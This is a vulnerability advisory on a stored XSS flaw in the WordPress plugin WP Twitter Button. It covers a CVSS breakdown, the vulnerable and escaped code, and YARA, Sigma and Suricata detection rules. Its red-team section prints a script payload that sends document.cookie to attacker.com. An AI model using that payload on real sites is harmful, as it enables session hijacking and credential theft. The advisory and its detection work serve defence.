CVE-2025-39420

Executive Summary

CVE-2025-39420 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WP Twitter Button, developed by ruudkok. The vulnerability exists in all versions up to and including 1.4.1. An attacker can inject arbitrary JavaScript into the plugin’s settings or output, which is then stored and executed in the browsers of other users (including administrators) who view the affected page. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 7.1 (High), and no official patch has been released. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the risk remains significant for unpatched WordPress sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is available, site administrators must consider removing or disabling the plugin. The lack of a patch and unknown vendor status increases supply chain risk, as the plugin may be abandoned.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the stored XSS.
• User Interaction (UI): Required (R) – A victim must visit the affected page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: High (7.1) – Stored XSS can lead to full site compromise if an administrator views the injected content.

Deep Dive & Mechanics

The WP Twitter Button plugin allows users to add a Twitter share button to their WordPress site. The vulnerability stems from improper neutralization of user-supplied input when generating web pages. Specifically, the plugin fails to sanitize or escape data before storing it in the database or outputting it in the HTML. An attacker can inject malicious JavaScript into fields such as the button text, URL, or other customizable parameters. When the plugin renders the button on a page, the injected script executes in the context of the victim’s browser.

Attack Flow:

1. Attacker identifies a vulnerable WordPress site running WP Twitter Button <= 1.4.1.
2. Attacker submits a crafted payload (e.g., <script>alert('XSS')</script>) via a plugin setting or comment field.
3. The payload is stored in the WordPress database without sanitization.
4. When an administrator or other user visits the page containing the button, the script executes.
5. The attacker can steal cookies, redirect users, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern. The plugin likely uses functions like echo or the_content without proper escaping.

Vulnerable Code (Conceptual):

// In wp-twitter-button.php
function render_button() {
    $text = get_option('wp_twitter_button_text');
    echo '<a href="https://twitter.com/share?text=' . $text . '">Tweet</a>';
}

Patched Code (Conceptual):

function render_button() {
    $text = esc_attr(get_option('wp_twitter_button_text'));
    echo '<a href="https://twitter.com/share?text=' . $text . '">Tweet</a>';
}

The patched version uses esc_attr() to escape the output, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with WP Twitter Button <= 1.4.1 installed and activated.
• Ability to submit data to a plugin setting (e.g., via admin panel or a public form if exposed).

Exploit Steps:

1. Identify the vulnerable parameter (e.g., wp_twitter_button_text).
2. Submit a payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Wait for an administrator to view the page.
4. Receive the stolen cookie.

Proof-of-Concept (PoC) Code:

<!-- Submit via admin panel or crafted HTTP request -->
<input type="text" name="wp_twitter_button_text" value="<script>alert('XSS')</script>">

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual script tags in plugin settings or comments.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Disable or remove the WP Twitter Button plugin immediately.
• If the plugin is essential, manually patch the code by adding escaping functions.
• Regularly audit WordPress plugins for known vulnerabilities.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/wp-twitter-button/wp-twitter-button.php (vulnerable file)
• Database: Suspicious entries in wp_options table with key wp_twitter_button_text containing script tags.
• Network: Outbound requests to attacker-controlled domains from the WordPress server.
• Logs: Access logs showing requests to plugin settings pages with encoded payloads.

Detection Engineering

YARA Rule

rule CVE_2025_39420_WP_Twitter_Button_XSS {
    meta:
        description = "Detects stored XSS payloads in WP Twitter Button plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-39420"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /on\w+\s*=\s*['\"].*['\"]/i
        $plugin_path = "wp-twitter-button"
    condition:
        $plugin_path and ($payload1 or $payload2)
}

Sigma Rule

title: Stored XSS in WP Twitter Button Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts targeting WP Twitter Button plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "wp-twitter-button"
        cs-method: "POST"
        cs-uri-query|contains:
            - "<script"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in plugin settings (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-39420 WP Twitter Button Stored XSS"; flow:to_server; content:"wp-twitter-button"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable and uninstall the WP Twitter Button plugin.
2. Alternative: Use a different Twitter share button plugin that is actively maintained.
3. Manual Patching: If removal is not possible, edit the plugin file to add esc_attr() or esc_html() to all output functions.
4. WAF Rules: Deploy WAF rules to block common XSS patterns (e.g., <script, onerror).
5. CSP: Implement Content Security Policy headers to restrict inline scripts.
6. Monitoring: Enable logging and monitor for suspicious activity in plugin settings.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert